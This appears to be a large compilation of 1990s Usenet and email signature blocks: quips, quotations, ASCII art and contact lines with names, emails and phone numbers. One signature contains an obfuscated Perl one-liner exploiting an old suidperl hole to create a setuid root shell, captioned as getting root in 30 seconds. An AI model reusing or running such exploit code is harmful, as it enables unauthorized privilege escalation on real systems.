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"...shit, piss, fuck, cunt, cocksucker, mother-fucker, and tits." -FCC v. Pacifica Foundation 438 U.S. 726 (1978) ----------------- __/\_\ Paul Guglielmino - paulg@ccs.neu.edu /\_\/_/ College of Computer Science - Northeastern University \/_/\_\ Home Page: http://www.ccs.neu.edu/home/paulg \/_/ "Smile," they said, "it could be worse!" So I did, and it was. -- Descartes thought an animal, _ . That couldn't talk, /##.,.##\ Glyn Hanton Couldn't think, or so he taught, #### ###### But I surmise, ###@ @### g.hanton@herts.ac.uk My cat thinks otherwise. ##/ v \## 01707 284737 ` ~ ' -- Richard Barnette | This space | White's Chappaquidick Theorem: Data General/RTP | intentionally | barnettr@dg-rtp.dg.com | left blank | The sooner and in more detail you (919) 248-6225 | | announce the bad news, the better. "Yea, though I walk through the valley of the shadow of death,I shall fear no evil for I am at angels eight-zero and climbing...." -- Anonymous SR-71 pilot -- Alan Shutko - The Few, the Proud, the Remaining. Sex is better than reading; no overdue fines 2$ _,--" dik `-._ ________-_______ "---- _----'--'--------------------------------'--'----_ //_| | \ dick@ct.widget.com / | |_\\ (_____|_|__= Waterbury CT +1.203.596.7758 =__|_|_____) _\______=___ http://www.ct.widget.com/~dick __=______/_ \/-(o)-~~-(o)-~~-(o)-`-------'-(o)-~~-(o)-~~-(o)-\/ Early Klingon Poetry: Wustl, Wustl, ERR RIP MIT BOOT, BIND Wustl ------------ It is by caffeine alone that I set my mind in motion. It is through the bean of java that thoughts acquire speed, that hands acquire shakes, that shakes become a warning I AM IN CONTROL OF _MY ADDICTION_!! - stolen from the Minicon Graffiti Wall, 1989(?) (paraphrased from the mentat chant!) Stephen P Potter Pencom Systems Administration Beaching It spp@psa.pencom.com Pager: 1-800-759-8888, 547-9561 Work: 703-860-2222 "I'm supposed to be their God, and I've broken five of their commandments already. I'd've broken all six, but there aren't any sheep on board." -Dave Lister, 3rd technician, Red Dwarf Amanda Walker -- Some people have children in order to buy toys. I feel it's cheaper and more dignified to cut out the middleman and buy toys for myself. -- Richard Kettlewell http://www.elmail.co.uk/staff/richard/ richard@uk.geeks.org Well, sure, the government lies, and the newspapers lie, but in a democracy they aren't the same lies... -- By using this line in your .sig, you violate 18 USC 1462, committing a class D felony, good for up to 5 years in prison and a $250,000 fine: Planned Parenthood provides information on abortions. What we need is a short, catchy, name that encompasses all of the above... LIGNUX ! 8-) Bill Powers wepprop@nettap.com -- Tom Christiansen Perl Consultant, Gamer, Hiker tchrist@mox.perl.com Without ice cream life and fame are meaningless. Bernd Schmidt crux@pool.informatik.rwth-aachen.de Happy user of a GNU-based Linux system, and a DOS-based idsoft system. Of course I'm busy! Who do you think refreshes all these .signature files all the time? -- Dale A. Weber - Making technology work for YOU with UNIX, Windows 95, etc. Experimenter's Anonymous - http://www.3rdplanet.com/~dalew/ <= Online resume' A rare gem - with a little polish could shine brighter than any other. I want REASONABLY priced ISDN service, but US West is holding me hostage! Graham Ask not what you can do for your country, but what your government is doing to you "Back when I was a freshman, I remember my first work week, we all had to repair damage to the house from the last glacier that came through Boston. And every cooking team had to hew out its own flint cutting tools before it started making a meal..." ObSig: "Object-oriented programming is an exceptionally bad idea which could only have originated in California." (Edsger Dijkstra) "Anyway, telling people you love them does not require diplomacy. You just blurt it out. It's telling them just about anything else that requires diplomacy." - Judith Martin (aka Miss Manners) _______________________________________________________________________________ Markos Kyzas CS Major | int main(void){ | Who needs X? I've got markos@ccs.neu.edu (%!#%#&#!#%@?) | int a[3]; | a VT100 complete with http://www.ccs.neu.edu/home/markos/ | a[1,2] = 8; } | enhanced video....... [Shpx gur Pbzzhavpngvbaf Qrprapl Npg] . . . . . . . . G e r b e n V o s <>< mailto:gerben@cs.vu.nl http://www.cs.vu.nl/%7Egerben/ Could Emacs create a core dump so huge that Emacs couldn't edit it? -- after Per Abrahamsen --- Miles Duke duke@erdas.com, MilesDuke@aol.com "Little-endian data is like smoking... It's a bad idea, but not immediately fatal." Motto of the Bomb Squad: If you see us running, you better catch up. Maine -- that blue corner of the Weather Service national temperature map. Rachel Polanskis Kingswood, Greater Western Sydney, Australia grove@zeta.org.au http://www.zeta.org.au/~grove/grove.html r.polanskis@nepean.uws.edu.au http://www.nepean.uws.edu.au/library/ "When the revolution comes, I will be shot by both sides" The little girl expects no declaration of tenderness from her doll. She loves it - and that's all. It is thus that we should love. --DeGourmont -- Tom Christiansen Perl Consultant, Gamer, Hiker tchrist@mox.perl.com If you consistently take an antagonistic approach, however, people are going to start thinking you're from New York. :-) --Larry Wall to Dan Bernstein in <10187@jpl-devvax.JPL.NASA.GOV> - David Lemon type nerd A large fawn jumped quickly over white zinc boxes. Jay Carlson nop@nop.com nop@ccs.neu.edu nop@kagoona.mitre.org Flat text is just *never* what you want. ---stephen p spackman "All parts should go together without forcing. You must remember that the parts you are reassembling were disassembled by you. Therefore, if you can't get them together again, there must be a reason. By all means, do not use a hammer." - IBM maintenance manual True Tales of Induhviduals -------------------------- These true reports were filed by anonymous DNRC operatives: Sighting #2: I was at the airport, checking in at the gate, when the airport employee asked, "Has anyone put anything in your baggage without your knowledge?" I said, "If it was without my knowledge, how would I know?" He smiled and nodded knowingly, "That's why we ask." -- - Andrew J Cosgriff - ajc@bing.wattle.id.au - Mobile : +61-14-856-122 SysAdmin / Support Dude, UNICO Computer Systems PGP & MIME ok and preferred "It's been lovely, but I have to scream now." < all of a sudden a whisper of sound occurs then the sound of a body hitting a keyboard. "Good thing we had darts", one of the white coated men said to the other as they dragged ian's body from the terminal.> < ism@tardis.ed.ac.uk > -- rali@tifosi.com "... I've seen Sun monitors on fire off the side of the multimedia lab. I've seen NTU lights glitter in the dark near the Mail Gate. All these things will be lost in time, like the root partition last week. Time to die...". - Peter Gutmann in alt.sysadmin.recovery An employer once said, -What if I train my people and they leave.- I say, what if you don't train them..... and they stay.. michaelkjohnson "Ever wonder why the SAME PEOPLE make up ALL the conspiracy theories?" ---------------------------------------------------------------------------- John English , Dept. of Computing, University of Brighton "Disks are divided into sex and tractors..." ---------------------------------------------------------------------------- <<>> (21:07) (zsig) In THIS office, Waldrop, we close with, "We expect your future compliance with the subject regulations", NOT "Tremble and Obey!" Where did you work before? Bill Marcum bmarcum@iglou.com On 22 July, 1996, at 6:00 pm GMT, everyone in the world just START HUMMING. Those who don't know will freak. --------- The sad part is... I'm really a very good tailor -- Elim Garak "Deep Space Nine" Jim B-52 Stratofortress Jnuts@prysm.net |-\ It | \_____________ Keeps |________________> going and going... >- >- ______ . . . >- o /______\ . . . >- -|- | | ________\|/__\|/__\|/___________/_\_______|____|__ >-- "After the first year, Captain Kirk lost his secretary, Yeoman Rand. She used to bring him coffee (even heating it with a hand phaser in times of galley distress) and hand him clipboards with flashing lights on them for him to initial. I wonder whatever happened to her..." karl@neosoft.com "Boss, can I ask you something?" "Sure." "Everyone's always talking about vacations and free time and things like that. How come I never have any?" "You wouldn't like it." "But they it's better than work. They really forward to it." "Remember last year, when the office was shut down for a week." "When they replace all windows? Sure I remember. I couldn't play with a computer for a week. Horrible." "Vacations are like that." "Oh." "So you wouldn't like them." "But everyone else does." "Ah, but that's because they're lusers, not hackers." "Oh." "Now go back and write that compiler. We need it last week." -- Rev. Bob "Bob" Crispen crispen@hiwaay.net "A polar bear is just another way of expressing a rectangular bear" - __kmb203@psu.edu_________________________Debian__1.1___Linux__2.0.5___ The meta-Turing test counts a thing as intelligent if it seeks to devise and apply Turing tests to objects of its own creation. -- Lew Mammel, Jr. "At Group L, Stoffel oversees six first-rate programmers, a managerial challenge roughly comparable to herding cats." - The Washington Post Magazine, June 9, 1985 sender . "ccount": white-magic/message from How to Succeed in Espionage Without Really Spying "One purpose of a liberal arts education is to make your head a more interesting place to live inside of for the rest of your life." - Mary Patterson McPherson, President of Bryn Mawr College From: "Brian C. White" Like C, Perl is one of the most popular girls in school... And it's not because she's the prettiest. From: Dan Stromberg ...and sadly, it isn't because she has a great personality, either. >From the Soviet Weekly: There will be a Moscow Exhibition of Arts by 15,000 Soviet Republic painters and sculptors. These were executed over the past two years. o_ \ > | Derek Nabel <| ' ,_| | Colorado State University Lifer ___/_>____o)____| Internet : nabel@lamar.colostate.edu Greg Legowski http://www.lm.com/~gregleg/ "Only one human captain has ever survived battle with a Minbari fleet. He is behind me. You are in front of me. If you value your lives, be somewhere else." -- Ambassador Delenn The "Abuse of Power" is nothing when compared to "The Power of Abuse" Alan 'The ultimate seal on any software product is not any sort of kite mark or standards conformance certificate, it's that label that says, "Destruction tested by Alan Cox.... Survived.' -- Clive Dolphin (3Com PDD) Man cannot live by chocolate alone, but woman can. Angel Ridout - aridout@teleport.com Do not anger a Bard, for you are Silly, and your name might rhyme with "eggplant." "Brought to you by Acme, the leader in destuctive mayhem." -- #!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod jeh22@cornell.edu $_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_ # Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today.. "true - do nothing, successfully" - - true (1) --------------------------/\__/\-------------------------------- Adele Megann & Linus_____; o o ; mamegann@freenet.calgary.ab.ca Alberta, Canada _/`_____ =^= / Newfoundlander Abroad ---------------<________>__m_m_>-------------------------------- waider@autodealing.com / AutoDealing Software Ltd / +353-1-6766455 Never attribute to malloc that which can be adequately explained by stupidity -- Cheerio, Jan Jan Wender - wenderj@uni-trier.de - Universitaet Trier, Germany The man who letterspaces lowercase letters also steals sheep (F. Goudy) Stefan Grefen Am Grossberg 16, 55130 Mainz, Germany grefen@carpe.net +49 6131 998566 Fax:+49 6131 998568 Living on Earth may be expensive, but it includes an annual free trip around the Sun. In article <199609131419.KAA07001@kangaroo.ncsl.nist.gov>, Bob Bagwill wrote: >Relationships tend to sap and impurify all of our precious bodily fluids, >which are essential to the generation of good code. -- ------------------------------------------------------------------ -- Red to red, W.B.Hill, Worse things happen in "C" Black to black, SYS / EE, -------------------------- Turn it on, University of East Anglia My opinins are my own, and ................ Norwich. NR4 7TJ England. do not necessarily reflect But stand well back. wbh@.sys.uea.ac.uk those of anyone else...... "Let me commend a great truth to you which has been one of the supports of my life: 'The Gods send threads for a web begun.' Andrew Carnegie - "almost all programming can be viewed as an exercise in caching" patl@LCS.MIT.EDU(help)[NOAUTH]>>> (15:26) Stirling's formula n! = (n/e)^n * sqrt(2*pi*n) for large n rlcarr: Stirling's formula deviates more and more from n! as n increases, however the %age error does decline quite rapidly. zeno(help)>>> (15:43) Look at http://www.mathsoft.com/asolve/constant/glshkn/glshkn.html H O--H \ / Alky, the C-----C Wonder Dog / \ / \ H H H H Vadik V. (_` vadik@arbornet.org http://www.arbornet.org/~vadik/ Vygonets (_.lf For PGP public key, email me with sibject "get pgp" Linux hackers are funny people: They count the time in patchlevels. measure with micrometer, mark with chalk, cut with axe, hope like hell -- Jamie Zawinski jwz@netscape.com http://www.netscape.com/people/jwz/ ``The hateful :) means `just kidding' and is used by people who would dot their i's with little circles and should have their eyes dotted with Drano.'' -- Penn Jillette -- Subject: [shebs@cygnus.com: [rec.games.board] Re: Guderian's Blitz] Seen in a .sig... -s From: wiggler@pop3.concentric.net (Gary J. Robinson) Date: Thu, 26 Sep 1996 14:44:34 -0600 [...] +-------------------------------------------------------------------------+ | And the Dark Lord made Orcs in mockery of Elves, and Trolls in mockery | | of Ents; and he made DOS in mockery of CP/M, and Windows in mockery of | | Macs, and NT in mockery of Netware; and he made Excel in mockery of | | VisiCalc, and Explorer in mockery of Navigator, and Word in mockery of | | WordPerfect; and he made MSNetwork in mockery of America Online; and on | | every side his foes fell reeling, defeated one by one as he crushed | | them by sheer weight of numbers, his hosts darkening the plain; and in | | the twilight years of the Second Millenium the Free Peoples of the West | | said, Lo, let us face this pestilence and destroy it, lest he turn all | | of Middle-Earth into a nest of foulness. And they forged the One OS, | | and they called it Copland; and they gathered their allies, the IBM | | Host and the Riders of Motorola, and they prepared for the final battle.| +-------------------------------------------------------------------------+ -- ``If I finish my chores, and you finish thine, then tonight we're gonna party like it's 1699'' - "Amish Paradise" by Wierd Al Yankovic DON'T PANIC! I'm a trained professional, and far more | *Why* question qualified to panic in this situation than you are. | authority? Olaf Kirch | `Put your pushbutton implementation down and come out okir@monad.swb.de | with your hands over your head and nobody will get hurt.' Larry Cable on the need for new windowing systems -- Harry's bar has a new cocktail. It's called MRS punch. They make it with milk, rum and sugar and it's wonderful. The milk is for vitality and the sugar is for pep. They put in the rum so that people will know what to do with all that pep and vitality. -- You know, I'm not even sure I have a significant *self*. : -- : I see that you, too, put up monuments to your great dead. : A Frenchman, on viewing the Statue Of Liberty during Prohibition __..--''``---....___ _..._ __ /// //_.-' .-/"; ` ``<._ ``.''_ `. / // / ///_.-' _..--.'_ \ `( ) ) // // //(_..-' // (< _ ;_..__ ; `' / / / FL / // // `-._,_)' // / ``--...____..-' // / // Of course (the Master) only seduces women to further his plans for universal conquest. But then he only eats breakfast to further his plans for universal conquest. That's what he does: it's in the job description. _SKARO 10_ _What about the Time Tots?_ _Quentin Langley_ You can lead a horse to water, but to get it to wear a snorkel is a whole different problem. >> 107: Laughter is a universal language. Especially evil laughter. --- Bruce Greenwood does not exist, so we are the only ones who hold these opinions. As soon as he gives us the negatives he can have them back. - Trust us. We're the good guys. I have a friend who's trying to get a patent on a computer which over- clocks the processor when you yell at it... > ---------------------- <> <> How doth the little Crocodile > | Alan & Carmel Brain| xxxxx Improve his shining tail? > | Canberra Australia | xxxxxHxHxxxxxx _MMMMMMMMM_MMMMMMMMM > ---------------------- o OO*O^^^^O*OO o oo oo oo oo > By pulling Maerklin Wagons, in 1/220 Scale -- Matthew B. Kennel/mbk@caffeine.engr.utk.edu/I do not speak for ORNL, DOE or UT Oak Ridge National Laboratory/University of Tennessee, Knoxville, TN USA/ I would not, could not SAVE ON PHONE, |================================== I would not, could not BUY YOUR LOAN, |The US Government does not like I would not, could not MAKE MONEY FAST, |spam either. It is ILLEGAL! I would not, could not SEND NO CA$H, |USC Title 47, section 227 I would not, could not SEE YOUR SITE, |p (b)(1)(C) www.law.cornell.edu/ I would not, could not EAT VEG-I-MITE, | /uscode/47/227.html I do *not* *like* GREEN CARDS AND SPAM! |================================== M A D - I - A M! Auth: yes Time: 14:19:04 Date: Tue Oct 29 1996 Host: lockpick From: I'm beige and funky like a rubber band i've been waiting for a z'ha'dum visa card commercial: z'ha'dum, ancient source of primordial evil. home of the shadows and their sinister cohorts. but if you go to z'ha'dum, bring your ppg and your visa card, because the natives aren't friendly and they DON'T take american express. o Was the bit about true faces taken from an existing religion on Earth? As far as I *know*, at least, that bit about seeing your true face revealed as you sleep is something I came up with on my own. There's just something I like about it, and if you've ever watched someone's face while they're sleeping, you understand. Though one person did comment, "So a man's true face is all mushed up against the pillow and drooling?" We don't talk anymore. danw(b5)>>> (01:11) not as hot as soup If go to Z'ha'dum you do, die will you, yes! Sam. Scunthorpe! (Insert bandwidth-wasting disclaimer here) To call something blue when it's not we defile it, But oh what the heck, it's hard to rhyme 'violet'. _ _ ( \ / ) |\ ) ) _,,,/ (,,_ /@ .-'`~ ~-. ;-;;,_ |,4- -,_. , ( `'-' '-~~''(_/~~' `-'\_) Three ways to think of chocolate: 1. As a reward for having done something good. 2. As a consolation for having done something bad. 3. As a diversion from not having done anything at all. (Pamela Pettler) >> An expert is a man who has made all the mistakes, which can be made, in >> a very narrow field. - Niels Henrik David Bohr (1885-1962) Plus ça rate, plus on a de chance que ça marche. ------------------------------- J.Rouxel [Les Shadoks] La vengeance du Marin "The condition 'that true love prevails' can be expressed mathematically by the inequality |X - Y| <= 10." -G.C.Rota ">What are the VMS machines? VAXstations? I believe they are ENIACs powered by multiple gerbils in Habatrails running in parallel. Also, the monitors are controlled by a little man who sits inside and writes things backwards. You may be familiar with his brother, he's the guy that sits inside the ATMs and hands out money." -- Arthur Toth "As she lay there dozing next to me, one voice inside my head kept saying, 'Relax... you are *not* the first doctor to sleep with one of his patients.' But, another voice kept reminding me, 'Howard, you're a veterinarian!'" -- Unknown -- Brian J. Swetland -- swetland@uiuc.edu | "You have to understand that the http://hagbard.ncsa.uiuc.edu/swetland/ | entire 'Net is based on people with <*> --- NCSA SDD X/Mosaic Developer -- | too much free time on their hands." For 93 million miles, there is nothing between the sun and my shadow except me. I'm always getting in the way of something...) Robby Stephenson Avram Grumer Home: avram@interport.net http://www.crossover.com/agrumer Work: agrumer@crossover.com In the future, everyone's web server will be down for fifteen minutes. Cat ------------------------------------------- |\ _,,,--,,_ ,) ------- Visit My Townhouse on the Internet At: /,`.-'`' -, ;-;;' http://www.feline.org/feline/ |,4- ) )-,_ ) /\ cat@rumpleteazer.feline.org -----DoD #6996----'---''(_/--' (_/-' -----F.Lee-- "Railways have always been plagued by politicians, and it is not hard to think that Robert Stephenson had the right idea when he drove his engine over one of them at the opening of the Liverpool & Manchester Railway" Interoperation with matter-transporters using polar coordinate systems is discouraged, due to round-off and other algorithmic errors in certain ubiquitous floating-point implementations, leading to results which are best discreetly described as "disappointing." --RFC 1437 -- <'D / C / ()-^ --+-\\ L'epigramme est un jeu d'escrime. / > | \ Antoine Louis Le Brun |u5a77@teach.cs.keele.ac.uk| "Are you pondering what I'm pondering Pinky?" | |Andrew Halliwell | | |Principal subjects in:- | "I think so brain, but this time, you control | |Comp Sci & Electronics | the Encounter suit, and I'll do the voice..." | University of Maryland Institute for Advanced Computer Science. University of Northern Saskatchewan Institute for Primitive Computer Science. Charles Babbage Institute for Mechanical Computer Science. Joel Huddleston eka j1h9453@eagle.tamu.edu Peace: Not just the absence of war but the absence of fear. War: Not just the absence of peace but the absence of cowardice. Disclaimer: Not just the absence of blame but the absence of responsibility. "initiating.. 'getting the hell out of here' maneouver" - Lanier, babylon5 --------------------------------------------------------------- "The ideal situation is to have real computing power close at hand - right at home. Something that dims streetlights and shrinks the picture on the neighbors TV when you crank it up." -- Unknown --------------------------------------------------------------- þ OLXWin 1.00b þ Fact: Fourteen out of every ten people like chocolate =============================================================================== "Languages don't kill people. *Programmers* do!" -- Rich Stewart - Language Lawyer & Language Control Opponent. =============================================================================== P.S Elvis is a deadhead ======< Tom Day >=====< Mountain View >====< CA >======= ------------------------------------------------------------------------ Scientists decode the first alien transmission from outer space... "This really works! Just send 5*10^50 atoms of hydrogen to each of the five star systems listed below. Add your own system to the top of the list, delete the system at the bottom, and send out copies of this message to 100 other solar systems. If you follow these instructions, you are guaranteed enough hydrogen to power your civilization until entropy reaches its maximum! Ignore this and you will have bad luck." ------------------------------------------------------------------------- There was an old man Said with a laugh, "I From Peru, whose lim'ricks all Cut them in half, the pay is Look'd like haiku. He Much better for two." Emmet michelle.campbell@stonebow.otago.ac.nz "Share your second favourite thing in the universe with a friend." - All I ever needed to know, I learned from Babylon 5 Now you're probably asking yourself, does he have any characters left? Did he generate five interrupts, or six? Well, to be honest, I don't remember myself. But this is a Zilog 8530 SCC -- the most powerful communications controller in the world. It'll blow your header clean off. So you should be asking yourself one question -- do you feel lucky? Well, do you, punk? Seen on comp.lang.scheme.. "Simply drag your mother in law's cellphone number from the Address Book to the Laser Satellite icon, and the Targeting Wizard will locate her. Then follow the onscreen prompts for gigawattage and dispersion pattern..." (Windows for Early Warning and Defence User's manual P385) Alaric B. Williams Internet : alaric@abwillms.demon.co.uk Hello :-) Artificial Intelligence is the study of how to make real computers act like the ones in movies. -- "It has been a humbling experience watching my entire lifes work -- reduced to a quarter inch of silicon." -- J. Presper Eckert, designer of the ENIAC computer. (mq)sgw@ATHENA.MIT.EDU[NOAUTH]>>> (19:03) @helvetica(Ralph, the all-purpose animal) I'm not a sysadmin, and if you call me that again, I'll shave your cats. "It doesn't matter if a cat is black or white," he was fond of saying, "as long as it catches mice." Deng Xiaoping, 1905?-1997. in CNN I can handle reality in small doses, but as a lifestyle, Its much too confining. -Lilly Tomlin Seen on the wall in a New York subway station: "There are no integers n > 2 and x, y, z > 0, such that x^n + y^n = z^n I have found a truly wonderful proof of this. Unfortunately, my train is coming. > Paul L. Kelly, whose action figures keep falling off his monitor when he types fast. "I'm not stupid, I'm not expendable, and I'm not going." -Kerr Avon, Blake's 7 "Well, let's just say, 'if your VCR is still blinking 12:00, you don't want Linux'". --Bruce Perens, Debian's Fearless Leader The computer is mightier than the pen, the sword, and usually, the programmer. -Jennifer Nolan "I'm not crazy, I've just been in a very bad mood for 40 years." _Steel Magnolias_ The Slinky of Destiny is returning to the top of the stairs. - H. M. Murdock, "The A-Team" The media event of the decade has been *Babylon 5*, / Bill Higgins which sets an obesity record for word processor products, / Fermilab being a single story that runs for over 70 hours / of viewing time. It's been a revolutionary experience, / Internet: and I'm sure by the time the imitators are done / higgins@fnal.fnal.gov we are all going to be very, very sorry. / --Larry Caldwell (larryc@teleport.com) / Linux: The OS people choose without $200,000,000 of persuasion. "If a person who indulges in gluttony is a glutton, and a person who commits a felony is a felon, then God is an iron." Spider Robinson, from _DeathKiller_ "We're not surrounded, we're in a target-rich environment!" If you think C++ is not overly complicated, just what is a protected abstract virtual base pure virtual private destructor, and when was the last time you needed one? -- Tom Cargil, C++ Journal, Fall 1990. "What reasonable soul prefers romance to truffles? Clearly, it is not the lovelorn sufferer who seeks solace in chocolate, but rather the chocolate-deprived individual who, desperate, seeks in mere love a pale approximation of bittersweet euphoria." - Sandra Boyton, 'Chocolate: The Consuming Passion' ..Rick Hewett mailto:rick@chocky.demon.co.uk http://www.chocky.demon.co.uk/ Clive Anderson (interviewing): Your mother was Debbie Reynolds... Carrie Fisher: You're kidding! That explains so much! -- [Clive Anderson Talks Back] *=I like to take life one day at a time.. =* *=but every now and then two or three of them =* *=gang up on me. =* "A little Whiteboard and a lot of coffee go a long way." shabby (Chris Shabsin): I may never get to play with the Philharmonic, but on the other hand, is Leonard Bernstein licensed to kill? -Maxwell Smart >What tools are you using for graphic design? Pencil & Paper - cuz it doesn't need electricity, doesn't crash, is as fast as I am, is mostly bug-free (any bugs are on my end of the pencil), plus putting things in the trash can is more fun than clicking and dragging. -- .-. / \ .-. .-. / / \ / \ .-. _ .-. / \ / /Nancy McGough--Infinite Ink/---\---/-\---/---\http://www.ii.com -/-- \ / \ / `-' `-' \ / \ / \ / `-' `-' \ / `-' `-' John Salmi || play: john@dimensional.com || work: john.salm@sun.com A good procedure for determining whether software is "user friendly" or not. Ask yourself: "If this were a person, how long would it take before I punched it in the mouth?" -------- Scott Cantor Give a man a computer program and you give him a cantor.2@osu.edu headache; teach him to program computers, and you Univ Tech Services give him the power to create headaches for others The Ohio State Univ for the rest of his life. - R.B. Forest Hiroshima 45 -- Chernobyl 86 -- Windows 95 :-{ All the really important mistakes are made the first day. It has been said that an infinite number of typing monkeys would eventually produce the complete works of Shakespeare. Now, thanks to the internet, we know this is not true. When encryption is outlawed, subway announcers will have to find new jobs. $jhi++; # Jarkko Hietaniemi # To each is given a bag of tools, A shapeless mass, and a book of rules, # And each must make, ere life is flown, A stumbling-block or stepping-stone. +--- Hans Derycke ---- hderycke at mindspring dot com ---------------------+ On the other hand, the images of thousands of small children ripping their dolls' chests open and eating the hearts can only be described as morbidly appealing." -- Michele Tepper, on alt.folklore.urban "Now, I know there's some reflexively irate homosexual in the crowd thinking "How DARE you, Miss Thing!" and what I'm saying to you is this: I think so little of the variations in human sexuality that I refuse to treat you like a Fabrege egg... You are part of the human collective; come, join in our reindeer games, you too can be poked fun at." - Dennis Miller. Well, I've said it before, and I'm sure I'll say it again, Clues we can give'm, it's the brains to store'm in that come dear. -petro@encodex.com I've seen the Information SuperHighway and it is coned-off -- Steve Bell The computer is not mightier than a cup of coffee, or other liquid, or a young school age child with a tool box... --L. E. Waltz ------------------------------------------------------------------- Edmvnd W. Golaski '99 mrbonk@mit.edu MIT Mechanical Engineering http://www.mit.edu/people/mrbonk/ "That which does not kill me only makes me drink more coffee" ------------------------------------------------------------------- -- Roger Merchberger | If at first you don't succeed, Programmer, NorthernWay | nuclear warhead disarmament should *not* zmerch@northernway.net | be your first career choice. -- Improved medical care has eliminated the natural selection that once culled them from the species (see "Man shoots self in head with nailgun, saved by doctors!", National Enquirer, August 1992). According to the best estimates, by the year 2031 the gene pool is expected to be so polluted that over 90% of all email will consist of the words "Please take me off this list," followed by a respite in 2045 when the ability to use written language evolves out of the species. -- Yucks Digest -- John Switzer | "So I said, 'shouldn't that be 'hello, world | wide web!'" - punchline that proves software | engineers should be banned from telling jokes, jswitzer@aimnet.com | much less making them up. He who lives in a glass house should not invite in he who is without sin. Carey Evans <*> c.evans@clear.net.nz "Lies, damn lies, and computer documentation." Java: The elegant simplicity of C++ and the blazing speed of Smalltalk [from an eiffel fan :-)] -- Kirk Is | "I just want a lover who'll kisrael@ | make me chicken soup when alienbill.com | I'm sick" | -L, Nov 1 1995 "Deja Fu: The feeling that somehow, somewhere, you've been kicked in the head like this before." -- Unknown Bran Ferran (Executive VP for creative technology and R&D at Walt Disney) offered a picturesque insight: "Think of your computer like the toilet. You are trained on both, and facility in using both will determine how you are judged by friends." =============================================================================== "Having an open mind is nothing. The object of opening the mind, as of opening the mouth, is to shut it again on something solid." -- G.K. Chesterton =============================================================================== E-mail returned to sender -- insufficient voltage. ========================================================================= Whoever . . . knowingly and for profit manufactures, reproduces, or uses the character "Woodsy Owl", the name "Woodsy Owl", or the associated slogan, "Give a Hoot, Don't Pollute" shall be fined not more than $250 or imprisoned not more than six months, or both. -- 18 U.S.C. sec. 711a. - Andrew J. Cosgriff - >> see X-headers >> ajc@bing.wattle.id.au "The more people I meet, the more I like my cat." | Science is not a Sacred Cow, it is a horse. Don't worship it, feed it. | -- The juvenile sea squirt wanders through the sea searching for a suitable rock or hunk of coral to cling to and make its home for life. For this task, it has a rudimentary nervous system. When it finds its spot and takes root, it does not need its brain anymore so it eats it! It is rather like getting tenure. -- Any man who can get caught with a hooker one week and appear on the cover of Time with his forgiving wife the next week has what we in Los Angeles call "good people skills." --A. Hamilton -- We're gonna go to the mall and window shoplift... --------------------------------------------------------------- Coming soon to a store near you: AirBag for Windows95. Designed by the world's top engineers to protect you from injury when you slam your head into your monitor in frustration. > \/ I've heard it too many times to ignore it > ->-<- It's something Delenn's s'posed to be... > / \ Someday we'll find it, the Psi-Corps connection, > +<)<*> The Drazi, Duck Dodgers, and me. O- (help)zeno>>> (18:45) 1 if by land, 2 if by sea, 3 if they're sneaky and use the Ted Williams tunnel "Like us, the Muppets imitate human beings. But they do it better." -- Clive James "Mistress" is a positional noun which lies between "mister" and "mattress". There is one terrifying word in the world of nuclear physics. Oops. -- "He is one of those people who would be enormously improved by death." --H. H. Munro _____ Girls do what their mothers tell them. Ladies do what society tells them. Women make up their own minds. The same thing applies to boys, gentlemen and men. - 'Consult Charity' advice column; "Katwalk", Karen Kijewski "I'm walking home from school, and I'm watching Dr. Franklin some men building a new house, and the guy hammering on the roof calls me a paranoid little weirdo.... in Morse code." -Emo Philips "I collected my thoughts. Someday I hope to have them all." -- Vlad Taltos, in _Orca_ Beings In Magenta: Protecting the scum of the universe from Earth. Klingons In Black: Protecting the Scum of the Universe from Star Fleet. Feringi in Black: Yea Right where's the profit in that. "[By the way, I've always wondered about this: Before he became Caspar the Friendly Ghost, was he Caspar the Friendly Terminally Ill Child, Caspar the Friendly About To Be Brutally Murdered Child, or Caspar the Friendly Horribly Mangled in a Terrible Accident Child?]" -- Dr. Foo "A mind is a terrible thing to have leaking out your ears." The League of Sadistic Telepaths graydon@gooroos.com | Praise ice when it is crossed, is bouncing again Ale when it is drunk, try piranha@pobox.com The day at evening-time, with 'for graydon' in the subject line Domain service when it works. These packets are brought to you by: intel, 3com, linksys, motorola, livingston, epoch networks, pacbell, fry's, and some solder. -- Oooooo-oooo-oooo-ooooo, Oooooo-oooo-oooo-ooooo, Ooooo-weem-oh-wum-ooo-ayyy In the jungle, the silicon jungle, the process sleeps tonight. Joe Philipps http://www.servtech.com/public/rchandra/ Q: What does the CE in Windows CE stand for? A: Caveat Emptor... As a physicist told me: First digit nice, second digit guessed, third digit lied. > > "The Internet stuff is spooky. I am of course not on line. I do > > remember ham radio operators, though, usually in attics or > > basements, pallid, unsociable, and obsessed, inhabiting a spirit > > world, and harmless." > > -Kurt Vonnegut > > tenebrarum@aol.com -------------------------- Life is like a box of chocolates No matter which one you pick delicious chocolate has been ruined by an awful filling -- me -------------------------- <*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*> Five days a week, my body is a temple; the other two, it's an amusement park. Jerry Doyle } You owe the Oracle evidence linking Richie Rich to the murder that } turned Casper into a ghost. | I will gladly share my experience and advice, for there are no sweeter | | words than "I told you so." | "If it works, its aesthetic" ---Ted Hoff Jr., codesigner of the 4004 "When I up-down, touch the ground, it puts me in the mood Up-down, touch the ground, in the mood . . . for food! I am stout, round, and I have found, speaking poundage-wise I improve my appetite, when I exercise!" Winnie-the-Pooh -------------------------+-------------------------------------------------- __ Dianne Kyra Hackborn | "It isn't necessary to imagine the world ending \/ Lucent Technologies | in fire or ice -- there are two other hackbod@lucent.com | possibilities: one is paperwork, and the other is Life life, I need a life | nostalgia." -- Frank Zappa dliebson>>> Those who live by the sword get shot by those who don't imapilot>>> How many of you believe in telekinesis? Raise my hands.... "... You're damned if you do, and damned if you don't." "But that's not *fair*!" "Of course it's not fair. We're *evil*. Look it up." -- Bill Marcum bmarcum at iglou dot com "Someone forgot to put the shoggoth out. There's ichor all over the floor." -- The sticker on the side of the box said "Supported Platforms: Windows 95, Windows NT 4.0, or better", so clearly Linux was a supported platform. -- My definition of an expert in any field is a person who knows enough about what's really going on to be scared. -- P.J. Plauger | A home page is a bold statement that says, "I'm | | not just feeding off the vast wasteland that | | is the internet - I'm contributing to it." | No man is charming all of the time. Even Cary Grant is on record saying he wished he could be Cary Grant. ------------------------------------------------------------------ The Past We are well advised to keep on nodding terms 